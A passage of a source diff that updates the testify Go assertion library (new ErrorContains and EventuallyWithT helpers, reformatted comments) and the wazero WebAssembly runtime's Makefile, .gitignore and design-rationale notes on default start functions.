||||
return Fail(t, fmt.Sprintf("Expected must not be NaN"), msgAndArgs...)
|
||||
return Fail(t, "Expected must not be NaN", msgAndArgs...)
|
||||
}
|
||||
|
||||
if math.IsNaN(bf) {
|
||||
@@ -1188,7 +1351,7 @@ func InDeltaSlice(t TestingT, expected, actual interface{}, delta float64, msgAn
|
||||
if expected == nil || actual == nil ||
|
||||
reflect.TypeOf(actual).Kind() != reflect.Slice ||
|
||||
reflect.TypeOf(expected).Kind() != reflect.Slice {
|
||||
return Fail(t, fmt.Sprintf("Parameters must be slice"), msgAndArgs...)
|
||||
return Fail(t, "Parameters must be slice", msgAndArgs...)
|
||||
}
|
||||
|
||||
actualSlice := reflect.ValueOf(actual)
|
||||
@@ -1250,8 +1413,12 @@ func InDeltaMapValues(t TestingT, expected, actual interface{}, delta float64, m
|
||||
|
||||
func calcRelativeError(expected, actual interface{}) (float64, error) {
|
||||
af, aok := toFloat(expected)
|
||||
if !aok {
|
||||
return 0, fmt.Errorf("expected value %q cannot be converted to float", expected)
|
||||
bf, bok := toFloat(actual)
|
||||
if !aok || !bok {
|
||||
return 0, fmt.Errorf("Parameters must be numerical")
|
||||
}
|
||||
if math.IsNaN(af) && math.IsNaN(bf) {
|
||||
return 0, nil
|
||||
}
|
||||
if math.IsNaN(af) {
|
||||
return 0, errors.New("expected value must not be NaN")
|
||||
@@ -1259,10 +1426,6 @@ func calcRelativeError(expected, actual interface{}) (float64, error) {
|
||||
if af == 0 {
|
||||
return 0, fmt.Errorf("expected value must have a value other than zero to calculate the relative error")
|
||||
}
|
||||
bf, bok := toFloat(actual)
|
||||
if !bok {
|
||||
return 0, fmt.Errorf("actual value %q cannot be converted to float", actual)
|
||||
}
|
||||
if math.IsNaN(bf) {
|
||||
return 0, errors.New("actual value must not be NaN")
|
||||
}
|
||||
@@ -1298,7 +1461,7 @@ func InEpsilonSlice(t TestingT, expected, actual interface{}, epsilon float64, m
|
||||
if expected == nil || actual == nil ||
|
||||
reflect.TypeOf(actual).Kind() != reflect.Slice ||
|
||||
reflect.TypeOf(expected).Kind() != reflect.Slice {
|
||||
return Fail(t, fmt.Sprintf("Parameters must be slice"), msgAndArgs...)
|
||||
return Fail(t, "Parameters must be slice", msgAndArgs...)
|
||||
}
|
||||
|
||||
actualSlice := reflect.ValueOf(actual)
|
||||
@@ -1320,10 +1483,10 @@ func InEpsilonSlice(t TestingT, expected, actual interface{}, epsilon float64, m
|
||||
|
||||
// NoError asserts that a function returned no error (i.e. `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoError(t, err) {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.NoError(t, err) {
|
||||
// assert.Equal(t, expectedObj, actualObj)
|
||||
// }
|
||||
func NoError(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
if err != nil {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -1337,10 +1500,10 @@ func NoError(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// Error asserts that a function returned an error (i.e. not `nil`).
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Error(t, err) {
|
||||
// assert.Equal(t, expectedError, err)
|
||||
// }
|
||||
// actualObj, err := SomeFunction()
|
||||
// if assert.Error(t, err) {
|
||||
// assert.Equal(t, expectedError, err)
|
||||
// }
|
||||
func Error(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
if err == nil {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
@@ -1355,8 +1518,8 @@ func Error(t TestingT, err error, msgAndArgs ...interface{}) bool {
|
||||
// EqualError asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that it is equal to the provided error.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualError(t, err, expectedErrorString)
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.EqualError(t, err, expectedErrorString)
|
||||
func EqualError(t TestingT, theError error, errString string, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1375,6 +1538,27 @@ func EqualError(t TestingT, theError error, errString string, msgAndArgs ...inte
|
||||
return true
|
||||
}
|
||||
|
||||
// ErrorContains asserts that a function returned an error (i.e. not `nil`)
|
||||
// and that the error contains the specified substring.
|
||||
//
|
||||
// actualObj, err := SomeFunction()
|
||||
// assert.ErrorContains(t, err, expectedErrorSubString)
|
||||
func ErrorContains(t TestingT, theError error, contains string, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
if !Error(t, theError, msgAndArgs...) {
|
||||
return false
|
||||
}
|
||||
|
||||
actual := theError.Error()
|
||||
if !strings.Contains(actual, contains) {
|
||||
return Fail(t, fmt.Sprintf("Error %#v does not contain %#v", actual, contains), msgAndArgs...)
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
// matchRegexp return true if a specified regexp matches a string.
|
||||
func matchRegexp(rx interface{}, str interface{}) bool {
|
||||
|
||||
@@ -1391,8 +1575,8 @@ func matchRegexp(rx interface{}, str interface{}) bool {
|
||||
|
||||
// Regexp asserts that a specified regexp matches a string.
|
||||
//
|
||||
// assert.Regexp(t, regexp.MustCompile("start"), "it's starting")
|
||||
// assert.Regexp(t, "start...$", "it's not starting")
|
||||
// assert.Regexp(t, regexp.MustCompile("start"), "it's starting")
|
||||
// assert.Regexp(t, "start...$", "it's not starting")
|
||||
func Regexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1409,8 +1593,8 @@ func Regexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface
|
||||
|
||||
// NotRegexp asserts that a specified regexp does not match a string.
|
||||
//
|
||||
// assert.NotRegexp(t, regexp.MustCompile("starts"), "it's starting")
|
||||
// assert.NotRegexp(t, "^start", "it's not starting")
|
||||
// assert.NotRegexp(t, regexp.MustCompile("starts"), "it's starting")
|
||||
// assert.NotRegexp(t, "^start", "it's not starting")
|
||||
func NotRegexp(t TestingT, rx interface{}, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1522,7 +1706,7 @@ func NoDirExists(t TestingT, path string, msgAndArgs ...interface{}) bool {
|
||||
|
||||
// JSONEq asserts that two JSON strings are equivalent.
|
||||
//
|
||||
// assert.JSONEq(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`)
|
||||
// assert.JSONEq(t, `{"hello": "world", "foo": "bar"}`, `{"foo": "bar", "hello": "world"}`)
|
||||
func JSONEq(t TestingT, expected string, actual string, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1588,12 +1772,17 @@ func diff(expected interface{}, actual interface{}) string {
|
||||
}
|
||||
|
||||
var e, a string
|
||||
if et != reflect.TypeOf("") {
|
||||
e = spewConfig.Sdump(expected)
|
||||
a = spewConfig.Sdump(actual)
|
||||
} else {
|
||||
|
||||
switch et {
|
||||
case reflect.TypeOf(""):
|
||||
e = reflect.ValueOf(expected).String()
|
||||
a = reflect.ValueOf(actual).String()
|
||||
case reflect.TypeOf(time.Time{}):
|
||||
e = spewConfigStringerEnabled.Sdump(expected)
|
||||
a = spewConfigStringerEnabled.Sdump(actual)
|
||||
default:
|
||||
e = spewConfig.Sdump(expected)
|
||||
a = spewConfig.Sdump(actual)
|
||||
}
|
||||
|
||||
diff, _ := difflib.GetUnifiedDiffString(difflib.UnifiedDiff{
|
||||
@@ -1625,6 +1814,14 @@ var spewConfig = spew.ConfigState{
|
||||
MaxDepth: 10,
|
||||
}
|
||||
|
||||
var spewConfigStringerEnabled = spew.ConfigState{
|
||||
Indent: " ",
|
||||
DisablePointerAddresses: true,
|
||||
DisableCapacities: true,
|
||||
SortKeys: true,
|
||||
MaxDepth: 10,
|
||||
}
|
||||
|
||||
type tHelper interface {
|
||||
Helper()
|
||||
}
|
||||
@@ -1632,7 +1829,7 @@ type tHelper interface {
|
||||
// Eventually asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick.
|
||||
//
|
||||
// assert.Eventually(t, func() bool { return true; }, time.Second, 10*time.Millisecond)
|
||||
// assert.Eventually(t, func() bool { return true; }, time.Second, 10*time.Millisecond)
|
||||
func Eventually(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
@@ -1662,10 +1859,93 @@ func Eventually(t TestingT, condition func() bool, waitFor time.Duration, tick t
|
||||
}
|
||||
}
|
||||
|
||||
// CollectT implements the TestingT interface and collects all errors.
|
||||
type CollectT struct {
|
||||
errors []error
|
||||
}
|
||||
|
||||
// Errorf collects the error.
|
||||
func (c *CollectT) Errorf(format string, args ...interface{}) {
|
||||
c.errors = append(c.errors, fmt.Errorf(format, args...))
|
||||
}
|
||||
|
||||
// FailNow panics.
|
||||
func (c *CollectT) FailNow() {
|
||||
panic("Assertion failed")
|
||||
}
|
||||
|
||||
// Reset clears the collected errors.
|
||||
func (c *CollectT) Reset() {
|
||||
c.errors = nil
|
||||
}
|
||||
|
||||
// Copy copies the collected errors to the supplied t.
|
||||
func (c *CollectT) Copy(t TestingT) {
|
||||
if tt, ok := t.(tHelper); ok {
|
||||
tt.Helper()
|
||||
}
|
||||
for _, err := range c.errors {
|
||||
t.Errorf("%v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// EventuallyWithT asserts that given condition will be met in waitFor time,
|
||||
// periodically checking target function each tick. In contrast to Eventually,
|
||||
// it supplies a CollectT to the condition function, so that the condition
|
||||
// function can use the CollectT to call other assertions.
|
||||
// The condition is considered "met" if no errors are raised in a tick.
|
||||
// The supplied CollectT collects all errors from one tick (if there are any).
|
||||
// If the condition is not met before waitFor, the collected errors of
|
||||
// the last tick are copied to t.
|
||||
//
|
||||
// externalValue := false
|
||||
// go func() {
|
||||
// time.Sleep(8*time.Second)
|
||||
// externalValue = true
|
||||
// }()
|
||||
// assert.EventuallyWithT(t, func(c *assert.CollectT) {
|
||||
// // add assertions as needed; any assertion failure will fail the current tick
|
||||
// assert.True(c, externalValue, "expected 'externalValue' to be true")
|
||||
// }, 1*time.Second, 10*time.Second, "external state has not changed to 'true'; still false")
|
||||
func EventuallyWithT(t TestingT, condition func(collect *CollectT), waitFor time.Duration, tick time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
}
|
||||
|
||||
collect := new(CollectT)
|
||||
ch := make(chan bool, 1)
|
||||
|
||||
timer := time.NewTimer(waitFor)
|
||||
defer timer.Stop()
|
||||
|
||||
ticker := time.NewTicker(tick)
|
||||
defer ticker.Stop()
|
||||
|
||||
for tick := ticker.C; ; {
|
||||
select {
|
||||
case <-timer.C:
|
||||
collect.Copy(t)
|
||||
return Fail(t, "Condition never satisfied", msgAndArgs...)
|
||||
case <-tick:
|
||||
tick = nil
|
||||
collect.Reset()
|
||||
go func() {
|
||||
condition(collect)
|
||||
ch <- len(collect.errors) == 0
|
||||
}()
|
||||
case v := <-ch:
|
||||
if v {
|
||||
return true
|
||||
}
|
||||
tick = ticker.C
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Never asserts that the given condition doesn't satisfy in waitFor time,
|
||||
// periodically checking the target function each tick.
|
||||
//
|
||||
// assert.Never(t, func() bool { return false; }, time.Second, 10*time.Millisecond)
|
||||
// assert.Never(t, func() bool { return false; }, time.Second, 10*time.Millisecond)
|
||||
func Never(t TestingT, condition func() bool, waitFor time.Duration, tick time.Duration, msgAndArgs ...interface{}) bool {
|
||||
if h, ok := t.(tHelper); ok {
|
||||
h.Helper()
|
||||
|
||||
+22
-21
@@ -1,39 +1,40 @@
|
||||
// Package assert provides a set of comprehensive testing tools for use with the normal Go testing system.
|
||||
//
|
||||
// Example Usage
|
||||
// # Example Usage
|
||||
//
|
||||
// The following is a complete example using assert in a standard test function:
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
//
|
||||
// func TestSomething(t *testing.T) {
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
//
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
// func TestSomething(t *testing.T) {
|
||||
//
|
||||
// assert.Equal(t, a, b, "The two words should be the same.")
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
//
|
||||
// }
|
||||
// assert.Equal(t, a, b, "The two words should be the same.")
|
||||
//
|
||||
// }
|
||||
//
|
||||
// if you assert many times, use the format below:
|
||||
//
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
// import (
|
||||
// "testing"
|
||||
// "github.com/stretchr/testify/assert"
|
||||
// )
|
||||
//
|
||||
// func TestSomething(t *testing.T) {
|
||||
// assert := assert.New(t)
|
||||
// func TestSomething(t *testing.T) {
|
||||
// assert := assert.New(t)
|
||||
//
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
// var a string = "Hello"
|
||||
// var b string = "Hello"
|
||||
//
|
||||
// assert.Equal(a, b, "The two words should be the same.")
|
||||
// }
|
||||
// assert.Equal(a, b, "The two words should be the same.")
|
||||
// }
|
||||
//
|
||||
// Assertions
|
||||
// # Assertions
|
||||
//
|
||||
// Assertions allow you to easily write test code, and are global funcs in the `assert` package.
|
||||
// All assertion functions take, as the first argument, the `*testing.T` object provided by the
|
||||
|
||||
+6
-6
@@ -23,7 +23,7 @@ func httpCode(handler http.HandlerFunc, method, url string, values url.Values) (
|
||||
|
||||
// HTTPSuccess asserts that a specified handler returns a success status code.
|
||||
//
|
||||
// assert.HTTPSuccess(t, myHandler, "POST", "http://www.google.com", nil)
|
||||
// assert.HTTPSuccess(t, myHandler, "POST", "http://www.google.com", nil)
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPSuccess(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, msgAndArgs ...interface{}) bool {
|
||||
@@ -45,7 +45,7 @@ func HTTPSuccess(t TestingT, handler http.HandlerFunc, method, url string, value
|
||||
|
||||
// HTTPRedirect asserts that a specified handler returns a redirect status code.
|
||||
//
|
||||
// assert.HTTPRedirect(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPRedirect(t, myHandler, "GET", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPRedirect(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, msgAndArgs ...interface{}) bool {
|
||||
@@ -67,7 +67,7 @@ func HTTPRedirect(t TestingT, handler http.HandlerFunc, method, url string, valu
|
||||
|
||||
// HTTPError asserts that a specified handler returns an error status code.
|
||||
//
|
||||
// assert.HTTPError(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
// assert.HTTPError(t, myHandler, "POST", "/a/b/c", url.Values{"a": []string{"b", "c"}}
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPError(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, msgAndArgs ...interface{}) bool {
|
||||
@@ -89,7 +89,7 @@ func HTTPError(t TestingT, handler http.HandlerFunc, method, url string, values
|
||||
|
||||
// HTTPStatusCode asserts that a specified handler returns a specified status code.
|
||||
//
|
||||
// assert.HTTPStatusCode(t, myHandler, "GET", "/notImplemented", nil, 501)
|
||||
// assert.HTTPStatusCode(t, myHandler, "GET", "/notImplemented", nil, 501)
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPStatusCode(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, statuscode int, msgAndArgs ...interface{}) bool {
|
||||
@@ -124,7 +124,7 @@ func HTTPBody(handler http.HandlerFunc, method, url string, values url.Values) s
|
||||
// HTTPBodyContains asserts that a specified handler returns a
|
||||
// body that contains a string.
|
||||
//
|
||||
// assert.HTTPBodyContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
// assert.HTTPBodyContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyContains(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
@@ -144,7 +144,7 @@ func HTTPBodyContains(t TestingT, handler http.HandlerFunc, method, url string,
|
||||
// HTTPBodyNotContains asserts that a specified handler returns a
|
||||
// body that does not contain a string.
|
||||
//
|
||||
// assert.HTTPBodyNotContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
// assert.HTTPBodyNotContains(t, myHandler, "GET", "www.google.com", nil, "I'm Feeling Lucky")
|
||||
//
|
||||
// Returns whether the assertion was successful (true) or not (false).
|
||||
func HTTPBodyNotContains(t TestingT, handler http.HandlerFunc, method, url string, values url.Values, str interface{}, msgAndArgs ...interface{}) bool {
|
||||
|
||||
@@ -39,3 +39,7 @@ zig-cache/
|
||||
zig-out/
|
||||
|
||||
.DS_Store
|
||||
|
||||
# Ignore compiled stdlib test cases.
|
||||
/internal/integration_test/stdlibs/testdata
|
||||
/internal/integration_test/libsodium/testdata
|
||||
+46
-12
@@ -1,10 +1,10 @@
|
||||
|
||||
gofumpt := mvdan.cc/[email protected]
|
||||
gosimports := github.com/rinchsan/gosimports/cmd/[email protected]
|
||||
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]2.2
|
||||
golangci_lint := github.com/golangci/golangci-lint/cmd/[email protected]5.2
|
||||
asmfmt := github.com/klauspost/asmfmt/cmd/[email protected]
|
||||
# sync this with netlify.toml!
|
||||
hugo := github.com/gohugoio/[email protected]2.5
|
||||
hugo := github.com/gohugoio/[email protected]5.2
|
||||
|
||||
# Make 3.81 doesn't support '**' globbing: Set explicitly instead of recursion.
|
||||
all_sources := $(wildcard *.go */*.go */*/*.go */*/*/*.go */*/*/*.go */*/*/*/*.go)
|
||||
@@ -23,7 +23,6 @@ go_test_options ?= -timeout 300s
|
||||
ensureCompilerFastest := -ldflags '-X github.com/tetratelabs/wazero/internal/integration_test/vs.ensureCompilerFastest=true'
|
||||
.PHONY: bench
|
||||
bench:
|
||||
@go test -run=NONE -benchmem -bench=. ./internal/engine/compiler/...
|
||||
@go build ./internal/integration_test/bench/...
|
||||
@# Don't use -test.benchmem as it isn't accurate when comparing against CGO libs
|
||||
@for d in vs/time vs/wasmedge vs/wasmtime ; do \
|
||||
@@ -39,7 +38,7 @@ build.bench:
|
||||
|
||||
.PHONY: test.examples
|
||||
test.examples:
|
||||
@go test $(go_test_options) ./examples/... ./imports/assemblyscript/example/... ./imports/emscripten/... ./experimental/gojs/example/... ./imports/wasi_snapshot_preview1/example/...
|
||||
@go test $(go_test_options) ./examples/... ./imports/assemblyscript/example/... ./imports/emscripten/... ./imports/wasi_snapshot_preview1/example/...
|
||||
|
||||
.PHONY: build.examples.as
|
||||
build.examples.as:
|
||||
@@ -53,16 +52,17 @@ build.examples.as:
|
||||
build.examples.zig: examples/allocation/zig/testdata/greet.wasm imports/wasi_snapshot_preview1/example/testdata/zig/cat.wasm imports/wasi_snapshot_preview1/testdata/zig/wasi.wasm
|
||||
@cd internal/testing/dwarftestdata/testdata/zig; zig build; mv zig-out/*/main.wasm ./ # Need DWARF custom sections.
|
||||
|
||||
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go
|
||||
tinygo_sources := examples/basic/testdata/add.go examples/allocation/tinygo/testdata/greet.go examples/cli/testdata/cli.go imports/wasi_snapshot_preview1/example/testdata/tinygo/cat.go imports/wasi_snapshot_preview1/testdata/tinygo/wasi.go cmd/wazero/testdata/cat/cat.go
|
||||
.PHONY: build.examples.tinygo
|
||||
build.examples.tinygo: $(tinygo_sources)
|
||||
@for f in $^; do \
|
||||
tinygo build -o $$(echo $$f | sed -e 's/\.go/\.wasm/') -scheduler=none --no-debug --target=wasi $$f; \
|
||||
done
|
||||
@mv cmd/wazero/testdata/cat/cat.wasm cmd/wazero/testdata/cat/cat-tinygo.wasm
|
||||
|
||||
# We use zig to build C as it is easy to install and embeds a copy of zig-cc.
|
||||
# Note: Don't use "-Oz" as that breaks our wasi sock example.
|
||||
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c
|
||||
c_sources := imports/wasi_snapshot_preview1/example/testdata/zig-cc/cat.c imports/wasi_snapshot_preview1/testdata/zig-cc/wasi.c internal/testing/dwarftestdata/testdata/zig-cc/main.c
|
||||
.PHONY: build.examples.zig-cc
|
||||
build.examples.zig-cc: $(c_sources)
|
||||
@for f in $^; do \
|
||||
@@ -119,8 +119,13 @@ spectest_v1_testdata_dir := $(spectest_v1_dir)/testdata
|
||||
spec_version_v1 := wg-1.0
|
||||
spectest_v2_dir := $(spectest_base_dir)/v2
|
||||
spectest_v2_testdata_dir := $(spectest_v2_dir)/testdata
|
||||
# Latest draft state as of May 23, 2023.
|
||||
spec_version_v2 := 2e8912e88a3118a46b90e8ccb659e24b4e8f3c23
|
||||
# Latest draft state as of March 12, 2024.
|
||||
spec_version_v2 := 1c5e5d178bd75c79b7a12881c529098beaee2a05
|
||||
spectest_threads_dir := $(spectest_base_dir)/threads
|
||||
spectest_threads_testdata_dir := $(spectest_threads_dir)/testdata
|
||||
# From https://github.com/WebAssembly/threads/tree/upstream-rebuild which has not been merged to main yet.
|
||||
# It will likely be renamed to main in the future - https://github.com/WebAssembly/threads/issues/216.
|
||||
spec_version_threads := 3635ca51a17e57e106988846c5b0e0cc48ac04fc
|
||||
|
||||
.PHONY: build.spectest
|
||||
build.spectest:
|
||||
@@ -162,13 +167,25 @@ build.spectest.v2: # Note: SIMD cases are placed in the "simd" subdirectory.
|
||||
@cd $(spectest_v2_testdata_dir) \
|
||||
&& curl -sSL 'https://api.github.com/repos/WebAssembly/spec/contents/test/core/simd?ref=$(spec_version_v2)' | jq -r '.[]| .download_url' | grep -E ".wast" | xargs -Iurl curl -sJL url -O
|
||||
@cd $(spectest_v2_testdata_dir) && for f in `find . -name '*.wast'`; do \
|
||||
wast2json --debug-names --no-check $$f; \
|
||||
wast2json --debug-names --no-check $$f || true; \
|
||||
done # Ignore the error here as some tests (e.g. comments.wast right now) are not supported by wast2json yet.
|
||||
|
||||
# Note: We currently cannot build the "threads" subdirectory that spawns threads due to missing support in wast2json.
|
||||
# https://github.com/WebAssembly/wabt/issues/2348#issuecomment-1878003959
|
||||
.PHONY: build.spectest.threads
|
||||
build.spectest.threads:
|
||||
@mkdir -p $(spectest_threads_testdata_dir)
|
||||
@cd $(spectest_threads_testdata_dir) \
|
||||
&& curl -sSL 'https://api.github.com/repos/WebAssembly/threads/contents/test/core?ref=$(spec_version_threads)' | jq -r '.[]| .download_url' | grep -E "atomic.wast" | xargs -Iurl curl -sJL url -O
|
||||
@cd $(spectest_threads_testdata_dir) && for f in `find . -name '*.wast'`; do \
|
||||
wast2json --enable-threads --debug-names $$f; \
|
||||
done
|
||||
|
||||
.PHONY: test
|
||||
test:
|
||||
@go test $(go_test_options) $$(go list ./... | grep -vE '$(spectest_v1_dir)|$(spectest_v2_dir)')
|
||||
@cd internal/version/testdata && go test $(go_test_options) ./...
|
||||
@cd internal/integration_test/fuzz/wazerolib && CGO_ENABLED=0 WASM_BINARY_PATH=testdata/test.wasm go test ./...
|
||||
|
||||
.PHONY: coverage
|
||||
# replace spaces with commas
|
||||
@@ -212,6 +229,14 @@ check:
|
||||
# This makes sure the intepreter can be used. Most often the package that can
|
||||
# drift here is "platform" or "sysfs":
|
||||
#
|
||||
# Ensure we build on plan9. See #1578
|
||||
@GOARCH=amd64 GOOS=plan9 go build ./...
|
||||
# Ensure we build on gojs. See #1526.
|
||||
@GOARCH=wasm GOOS=js go build ./...
|
||||
# Ensure we build on wasip1. See #1526.
|
||||
@GOARCH=wasm GOOS=wasip1 go build ./...
|
||||
# Ensure we build on aix. See #1723
|
||||
@GOARCH=ppc64 GOOS=aix go build ./...
|
||||
# Ensure we build on windows:
|
||||
@GOARCH=amd64 GOOS=windows go build ./...
|
||||
# Ensure we build on an arbitrary operating system:
|
||||
@@ -247,12 +272,21 @@ clean: ## Ensure a clean build
|
||||
@rm -rf dist build coverage.txt
|
||||
@go clean -testcache
|
||||
|
||||
fuzz_default_flags := --no-trace-compares --sanitizer=none -- -rss_limit_mb=8192
|
||||
|
||||
fuzz_timeout_seconds ?= 10
|
||||
.PHONY: fuzz
|
||||
fuzz:
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run basic -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run validation -- -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo test
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run logging_no_diff $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run no_diff $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run memory_no_diff $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
@cd internal/integration_test/fuzz && cargo fuzz run validation $(fuzz_default_flags) -max_total_time=$(fuzz_timeout_seconds)
|
||||
|
||||
libsodium:
|
||||
cd ./internal/integration_test/libsodium/testdata && \
|
||||
curl -s "https://api.github.com/repos/jedisct1/webassembly-benchmarks/contents/2022-12/wasm?ref=7e86d68e99e60130899fbe3b3ab6e9dce9187a7c" \
|
||||
| jq -r '.[] | .download_url' | xargs -n 1 curl -LO
|
||||
|
||||
#### CLI release related ####
|
||||
|
||||
|
||||
+566
-60
@@ -67,7 +67,7 @@ dependency.
|
||||
|
||||
## Project structure
|
||||
|
||||
wazero uses internal packages extensively to balance API compatability desires for end users with the need to safely
|
||||
wazero uses internal packages extensively to balance API compatibility desires for end users with the need to safely
|
||||
share internals between compilers.
|
||||
|
||||
End-user packages include `wazero`, with `Config` structs, `api`, with shared types, and the built-in `wasi` library.
|
||||
@@ -235,7 +235,7 @@ rt := wazero.NewRuntimeConfig() // initialized properly
|
||||
There are a few drawbacks to this, notably some work for maintainers.
|
||||
* Interfaces are decoupled from the structs implementing them, which means the signature has to be repeated twice.
|
||||
* Interfaces have to be documented and guarded at time of use, that 3rd party implementations aren't supported.
|
||||
* As of Golang 1.18, interfaces are still [not well supported](https://github.com/golang/go/issues/5860) in godoc.
|
||||
* As of Golang 1.21, interfaces are still [not well supported](https://github.com/golang/go/issues/5860) in godoc.
|
||||
|
||||
## Config
|
||||
|
||||
@@ -414,12 +414,49 @@ In reflection, this approach worked well for the nearly 1.5 year period leading
|
||||
to version 1.0. We've only had to create a single sub-configuration, `FSConfig`,
|
||||
and it was well understood why when it occurred.
|
||||
|
||||
## Why does InstantiateModule call "_start" by default?
|
||||
We formerly had functions like `StartWASICommand` that would verify preconditions and start WASI's "_start" command.
|
||||
However, this caused confusion because both many languages compiled a WASI dependency, and many did so inconsistently.
|
||||
## Why does `ModuleConfig.WithStartFunctions` default to `_start`?
|
||||
|
||||
That said, if "_start" isn't called, it causes issues in TinyGo, as it needs this in order to implement panic. To deal
|
||||
with this a different way, we have a configuration to call any start functions that exist, which defaults to "_start".
|
||||
We formerly had functions like `StartWASICommand` that would verify
|
||||
preconditions and start WASI's `_start` command. However, this caused confusion
|
||||
because both many languages compiled a WASI dependency, and many did so
|
||||
inconsistently.
|
||||
|
||||
The conflict is that exported functions need to use features the language
|
||||
runtime provides, such as garbage collection. There's a "chicken-egg problem"
|
||||
where `_start` needs to complete in order for exported behavior to work.
|
||||
|
||||
For example, unlike `GOOS=wasip1` in Go 1.21, TinyGo's "wasi" target supports
|
||||
function exports. So, the only way to use FFI style is via the "wasi" target.
|
||||
Not explicitly calling `_start` before an ABI such as wapc-go, would crash, due
|
||||
to setup not happening (e.g. to implement `panic`). Other embedders such as
|
||||
Envoy also called `_start` for the same reason. To avoid a common problem for
|
||||
users unaware of WASI, and also to simplify normal use of WASI (e.g. `main`),
|
||||
we added `_start` to `ModuleConfig.WithStartFunctions`.
|
||||
|
||||
In cases of multiple initializers, such as in wapc-go, users can override this
|
||||
to add the others *after* `_start`. Users who want to explicitly control
|
||||
`_start`, such as some of our unit tests, can clear the start functions and
|
||||
remove it.
|
||||
|
||||
This decision was made in 2022, and holds true in 2023, even with the
|
||||
introduction of "wasix". It holds because "wasix" is backwards compatible with
|
||||
"wasip1". In the future, there will be other ways to start applications, and
|
||||
may not be backwards compatible with "wasip1".
|
||||
|
||||
Most notably WASI "Preview 2" is not implemented in a way compatible with
|
||||
wasip1. Its start function is likely to be different, and defined in the
|
||||
wasi-cli "world". When the design settles, and it is implemented by compilers,
|
||||
wazero will attempt to support "wasip2". However, it won't do so in a way that
|
||||
breaks existing compilers.
|
||||
|
||||
In other words, we won't remove `_start` if "wasip2" continues a path of an
|
